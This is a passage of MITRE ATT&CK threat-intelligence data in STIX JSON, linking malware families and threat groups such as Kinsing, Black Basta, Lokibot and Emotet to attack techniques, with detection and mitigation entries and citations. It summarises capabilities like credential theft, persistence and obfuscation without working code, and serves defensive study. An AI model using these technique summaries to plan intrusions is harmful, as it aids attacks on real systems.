"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", "description": "Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}, {"source_name": "Sysdig Kinsing November 2020", "url": "https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/", "description": "Huang, K. (2020, November 23). Zoom into Kinsing. Retrieved April 1, 2021."}], "modified": "2021-04-06T12:22:23.718Z", "description": "[Kinsing](https://attack.mitre.org/software/S0599) has created and run a Bitcoin cryptocurrency miner.(Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)", "relationship_type": "uses", "source_ref": "malware--d6e55656-e43f-411f-a7af-45df650471c5", "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fdf56c06-8e42-4cb5-b6e0-a7ec55355ff6", "created": "2019-09-13T13:17:26.294Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Machete July 2019", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf"}, {"source_name": "Cylance Machete Mar 2017", "description": "The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.", "url": "https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T04:53:22.715Z", "description": "[Machete](https://attack.mitre.org/software/S0409) has used pyobfuscate, zlib compression, and base64 encoding for obfuscation. [Machete](https://attack.mitre.org/groups/G0095) has also used some visual obfuscation techniques by naming variables as combinations of letters to hinder analysis.(Citation: Cylance Machete Mar 2017)(Citation: ESET Machete July 2019)", "relationship_type": "uses", "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--fdf7070e-6d39-4243-a61e-84877a97dcd2", "created": "2022-04-28T16:07:48.006Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. 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Retrieved March 7, 2023.", "url": "https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-10T18:34:09.670Z", "description": "[Black Basta](https://attack.mitre.org/software/S1070) has established persistence by creating a new service named `FAX` after deleting the legitimate service by the same name.(Citation: Minerva Labs Black Basta May 2022)(Citation: Cyble Black Basta May 2022)(Citation: Trend Micro Black Basta May 2022)", "relationship_type": "uses", "source_ref": "malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fe1c5e06-ea4b-4286-af2d-984a095f7924", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TYPEFRAME June 2018", "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}], "modified": "2020-03-17T13:49:31.232Z", "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can search directories for files on the victim\u2019s machine.(Citation: US-CERT TYPEFRAME June 2018)", "relationship_type": "uses", "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fe1cd6bf-abca-4032-8c94-15168005e96d", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-23T21:24:09.270Z", "description": "Monitor for an attempt by a user to gain access to a network or computing resource, often by the use of domain authentication services, such as the System Security Services Daemon (sssd) on Linux.\n\nNotes: For Linux, auditing frameworks such as the audit daemon (auditd) can be used to alert on changes to log files that track authentication attempts, including <code>/var/log/secure</code>.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fe213f16-3667-4c29-8434-cea26be64f31", "created": "2023-03-10T15:37:42.797Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-10T15:37:42.797Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. 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Retrieved January 11, 2023.", "url": "https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-14T17:17:00.032Z", "description": "During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors used `rundll32` to run [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Costa AvosLocker May 2022)", "relationship_type": "uses", "source_ref": "campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fe2aa2b2-6508-40e1-b0cf-13c66ae43064", "type": "relationship", "created": "2019-05-14T16:58:13.912Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Lab. 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Retrieved September 23, 2020."}], "modified": "2020-10-09T16:07:59.616Z", "description": "[PolyglotDuke](https://attack.mitre.org/software/S0518) can use a custom algorithm to decrypt strings used by the malware.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--3d57dcc4-be99-4613-9482-d5218f5ec13e", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fe3872cb-5e08-4a04-9162-a6868ef95952", "type": "relationship", "created": "2021-09-23T12:51:15.540Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Carbon Spider August 2021", "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "description": "Loui, E. and Reynolds, J. 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(2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}], "modified": "2020-05-12T12:46:57.152Z", "description": "[VBShower](https://attack.mitre.org/software/S0442) has the ability to download VBS files to the target computer.(Citation: Kaspersky Cloud Atlas August 2019)", "relationship_type": "uses", "source_ref": "malware--8caa18af-4758-4fd3-9600-e8af579e89ed", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fe3bcb4a-bb14-4068-a9d3-be2f68137f51", "created": "2023-03-02T18:43:56.317Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Sophos BlackCat Jul 2022", "description": "Brandt, Andrew. (2022, July 14). BlackCat ransomware attacks not merely a byproduct of bad luck. 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Enabling these mechanisms within an organization (through policies such as DMARC) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)", "relationship_type": "mitigates", "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", "target_ref": "attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fe69bcdd-8df4-44e3-8994-b46e4d4c8aac", "type": "relationship", "created": "2020-05-15T16:50:05.783Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Infoblox Lokibot January 2019", "url": "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22", "description": "Hoang, M. (2019, January 31). Malicious Activity Report: Elements of  Lokibot Infostealer. Retrieved May 15, 2020."}], "modified": "2020-05-15T16:50:05.783Z", "description": "[Lokibot](https://attack.mitre.org/software/S0447) has demonstrated the ability to steal credentials from multiple applications and data sources including Safari and the Chromium and Mozilla Firefox-based web browsers.(Citation: Infoblox Lokibot January 2019)", "relationship_type": "uses", "source_ref": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--fe6fc2bb-5d96-4684-98bc-fa408e71de5a", "created": "2022-04-11T17:22:12.062Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Wikipedia Rootkit", "url": "https://en.wikipedia.org/wiki/Rootkit", "description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for changes and the existence of unrecognized DLLs, drivers, devices, services, and to the MBR. (Citation: Wikipedia Rootkit)", "modified": "2022-04-11T17:22:12.062Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fe720085-2a43-4f72-8a5f-cf6ae82f7127", "type": "relationship", "created": "2019-04-24T20:48:39.771Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Adwind Feb 2016", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf", "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}], "modified": "2019-06-24T17:20:24.625Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) can steal keys for VPNs and cryptocurrency wallets.(Citation: Kaspersky Adwind Feb 2016)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fe786b29-e621-48e2-84b5-aed35e6930fe", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft SIR Vol 21", "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. 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Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-07T20:39:59.922Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), the threat actors used `tasklist` to collect a list of running processes on an infected system.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fe8004eb-df5b-43c5-bf5a-1cbe028e8663", "type": "relationship", "created": "2020-10-22T18:45:48.529Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FBI Flash FIN7 USB", "url": "https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/", "description": "The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022."}, {"description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html", "source_name": "FireEye FIN7 Oct 2019"}], "modified": "2022-01-14T17:14:27.939Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) has developed malware for use in operations, including the creation of infected removable media.(Citation: FBI Flash FIN7 USB)(Citation: FireEye FIN7 Oct 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fe80fc5b-60ed-46dd-9e82-c4b99f6796f4", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Monitor executed commands and arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fe8358f5-ead6-4ae7-a88c-831dda8ab123", "type": "relationship", "created": "2020-01-24T19:36:42.015Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T19:36:42.015Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--fe83c4f7-7a52-4a4f-8d17-a28e0ca162ed", "created": "2022-08-09T16:48:50.142Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ZScaler Squirrelwaffle Sep 2021", "url": "https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike", "description": "Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Squirrelwaffle](https://attack.mitre.org/software/S1030) has collected the victim\u2019s external IP address.(Citation: ZScaler Squirrelwaffle Sep 2021)", "modified": "2022-08-26T21:19:08.384Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--3c18ad16-9eaf-4649-984e-68551bff0d47", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fe849763-78b9-4b8a-9219-2781ac7b00e8", "type": "relationship", "created": "2019-07-17T15:45:37.582Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/library/jj865668.aspx", "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.", "source_name": "Microsoft Disable NTLM Nov 2012"}, {"source_name": "Microsoft WDigest Mit", "url": "https://support.microsoft.com/en-us/help/2871997/microsoft-security-advisory-update-to-improve-credentials-protection-a", "description": "Microsoft. (2014, May 13). Microsoft Security Advisory: Update to improve credentials protection and management. Retrieved June 8, 2020."}], "modified": "2021-07-20T23:03:00.785Z", "description": "\nConsider disabling or restricting NTLM.(Citation: Microsoft Disable NTLM Nov 2012) Consider disabling WDigest authentication.(Citation: Microsoft WDigest Mit)", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fe86edf0-d69f-48bc-bdb7-7fd8a8dbcb82", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 DarkHydrus July 2018", "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}], "modified": "2019-04-24T23:55:43.337Z", "description": "[RogueRobin](https://attack.mitre.org/software/S0270) created a shortcut in the Windows startup folder to launch a PowerShell script each time the user logs in to establish persistence.(Citation: Unit 42 DarkHydrus July 2018)", "relationship_type": "uses", "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fe89ee6f-dc2c-4e0c-9279-df6bafbcc333", "type": "relationship", "created": "2022-03-30T14:26:51.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.851Z", "description": "Monitor for changes in the status of the system firewall such as Windows Security Auditing events 5025 (The Windows firewall service has been stopped) and 5034 (The Windows firewall driver was stopped).", "source_ref": "x-mitre-data-component--c97d0171-f6e0-4415-85ff-4082fdb8c72a", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--fe8a320f-e5e5-4503-8c3a-5c21b628a61d", "created": "2017-12-14T16:46:06.044Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "SecureWorks BRONZE UNION June 2017", "url": "https://www.secureworks.com/research/bronze-union", "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used `net use` and `netstat` to conduct internal discovery of systems. The group has also used `quser.exe` to identify existing RDP sessions on a victim.(Citation: SecureWorks BRONZE UNION June 2017)", "modified": "2022-04-11T16:27:36.517Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fe8a52b2-b1b8-4193-a637-abd9ec219e6a", "created": "2023-09-08T15:50:22.096Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Binary Defense Emotes Wi-Fi Spreader", "description": "Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.", "url": "https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-08T16:36:29.742Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) can extract names of all locally reachable Wi-Fi networks and then perform a brute-force attack to spread to new networks.(Citation: Binary Defense Emotes Wi-Fi Spreader)", "relationship_type": "uses", "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "target_ref": "attack-pattern--494ab9f0-36e0-4b06-b10d-57285b040a06", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fe8bc44b-805d-440c-a447-96091033439d", "type": "relationship", "created": "2019-02-21T21:17:37.996Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT39 Jan 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html", "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}], "modified": "2021-10-12T23:00:49.627Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) used secure shell (SSH) to move laterally among their targets.(Citation: FireEye APT39 Jan 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fe8efec3-2ab4-497d-8e5a-b2340feddd8f", "type": "relationship", "created": "2020-07-01T21:05:18.822Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MacKeeper Bundlore Apr 2019", "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/", "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}, {"source_name": "20 macOS Common Tools and Techniques", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}], "modified": "2021-10-16T20:26:31.631Z", "description": "[Bundlore](https://attack.mitre.org/software/S0482) can change browser security settings to enable extensions to be installed. [Bundlore](https://attack.mitre.org/software/S0482) uses the <code>pkill cfprefsd</code> command to prevent users from inspecting processes.(Citation: MacKeeper Bundlore Apr 2019)(Citation: 20 macOS Common Tools and Techniques)", "relationship_type": "uses", "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fe8f4b79-9495-4e08-b14e-d2954f847c78", "created": "2021-03-03T21:59:40.453Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ACSC Email Spoofing", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"}, {"source_name": "Microsoft Anti Spoofing", "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T19:58:12.431Z", "description": "Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). Enabling these mechanisms within an organization (through policies such as DMARC) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nFurthermore, policies may enforce / install browser extensions that protect against IDN and homograph attacks. Browser password managers may also be configured to only populate credential fields when the URL matches that of the original, legitimate site. ", "relationship_type": "mitigates", "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fe99ee01-a049-4867-bf3b-27d05461b0b3", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Symantec Calisto July 2018", "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", "url": "https://web.archive.org/web/20190111082249/https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-21T19:42:40.618Z", "description": "[Calisto](https://attack.mitre.org/software/S0274) has the capability to add its own account to the victim's machine.(Citation: Symantec Calisto July 2018)", "relationship_type": "uses", "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fe9c9381-99d7-4798-ab41-3e5cdbda5e21", "type": 